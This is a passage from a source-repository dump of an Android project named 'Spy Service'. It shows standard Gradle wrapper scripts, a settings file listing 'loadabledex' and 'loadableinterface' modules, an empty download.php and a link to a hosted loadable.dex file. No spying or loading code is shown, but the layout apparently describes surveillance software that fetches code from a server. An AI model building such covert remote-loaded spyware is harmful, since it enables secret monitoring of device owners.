121 | for dir in $ROOTDIRSRAW ; do
122 | ROOTDIRS="$ROOTDIRS$SEP$dir"
123 | SEP="|"
124 | done
125 | OURCYGPATTERN="(^($ROOTDIRS))"
126 | # Add a user-defined pattern to the cygpath arguments
127 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then
128 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
129 | fi
130 | # Now convert the arguments - kludge to limit ourselves to /bin/sh
131 | i=0
132 | for arg in "$@" ; do
133 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
134 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option
135 |
136 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition
137 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
138 | else
139 | eval `echo args$i`="\"$arg\""
140 | fi
141 | i=$((i+1))
142 | done
143 | case $i in
144 | (0) set -- ;;
145 | (1) set -- "$args0" ;;
146 | (2) set -- "$args0" "$args1" ;;
147 | (3) set -- "$args0" "$args1" "$args2" ;;
148 | (4) set -- "$args0" "$args1" "$args2" "$args3" ;;
149 | (5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
150 | (6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
151 | (7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
152 | (8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
153 | (9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
154 | esac
155 | fi
156 |
157 | # Escape application args
158 | save () {
159 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
160 | echo " "
161 | }
162 | APP_ARGS=$(save "$@")
163 |
164 | # Collect all arguments for the java command, following the shell quoting and substitution rules
165 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
166 |
167 | # by default we should be in the correct project dir, but when run from Finder on Mac, the cwd is wrong
168 | if [ "$(uname)" = "Darwin" ] && [ "$HOME" = "$PWD" ]; then
169 | cd "$(dirname "$0")"
170 | fi
171 |
172 | exec "$JAVACMD" "$@"
173 |
--------------------------------------------------------------------------------
/gradlew.bat:
--------------------------------------------------------------------------------
1 | @if "%DEBUG%" == "" @echo off
2 | @rem ##########################################################################
3 | @rem
4 | @rem Gradle startup script for Windows
5 | @rem
6 | @rem ##########################################################################
7 |
8 | @rem Set local scope for the variables with windows NT shell
9 | if "%OS%"=="Windows_NT" setlocal
10 |
11 | set DIRNAME=%~dp0
12 | if "%DIRNAME%" == "" set DIRNAME=.
13 | set APP_BASE_NAME=%~n0
14 | set APP_HOME=%DIRNAME%
15 |
16 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
17 | set DEFAULT_JVM_OPTS=
18 |
19 | @rem Find java.exe
20 | if defined JAVA_HOME goto findJavaFromJavaHome
21 |
22 | set JAVA_EXE=java.exe
23 | %JAVA_EXE% -version >NUL 2>&1
24 | if "%ERRORLEVEL%" == "0" goto init
25 |
26 | echo.
27 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
28 | echo.
29 | echo Please set the JAVA_HOME variable in your environment to match the
30 | echo location of your Java installation.
31 |
32 | goto fail
33 |
34 | :findJavaFromJavaHome
35 | set JAVA_HOME=%JAVA_HOME:"=%
36 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe
37 |
38 | if exist "%JAVA_EXE%" goto init
39 |
40 | echo.
41 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
42 | echo.
43 | echo Please set the JAVA_HOME variable in your environment to match the
44 | echo location of your Java installation.
45 |
46 | goto fail
47 |
48 | :init
49 | @rem Get command-line arguments, handling Windows variants
50 |
51 | if not "%OS%" == "Windows_NT" goto win9xME_args
52 |
53 | :win9xME_args
54 | @rem Slurp the command line arguments.
55 | set CMD_LINE_ARGS=
56 | set _SKIP=2
57 |
58 | :win9xME_args_slurp
59 | if "x%~1" == "x" goto execute
60 |
61 | set CMD_LINE_ARGS=%*
62 |
63 | :execute
64 | @rem Setup the command line
65 |
66 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
67 |
68 | @rem Execute Gradle
69 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %CMD_LINE_ARGS%
70 |
71 | :end
72 | @rem End local scope for the variables with windows NT shell
73 | if "%ERRORLEVEL%"=="0" goto mainEnd
74 |
75 | :fail
76 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
77 | rem the _cmd.exe /c_ return code!
78 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
79 | exit /b 1
80 |
81 | :mainEnd
82 | if "%OS%"=="Windows_NT" endlocal
83 |
84 | :omega
85 |
--------------------------------------------------------------------------------
/preview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/preview.png
--------------------------------------------------------------------------------
/settings.gradle:
--------------------------------------------------------------------------------
1 | /*
2 | * Copyright (C) 2020 Eldar Timraleev (aka CRaFT4ik). All rights reserved.
3 | * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file
4 | * except in compliance with the License. You may obtain a copy of the License at
5 | * http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in
6 | * writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
7 | * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the
8 | * specific language governing permissions and limitations under the License.
9 | */
10 |
11 | rootProject.name='Spy Service'
12 | include ':app'
13 | include ':app:loadabledex'
14 | include ':app:loadableinterface'
15 |
--------------------------------------------------------------------------------
/web/download.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/web/files/loadable.dex:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/CRaFT4ik/android-spy-service/afeb394a4ae0319d938f6480b6bee03a93b86553/web/files/loadable.dex
--------------------------------------------------------------------------------
5 |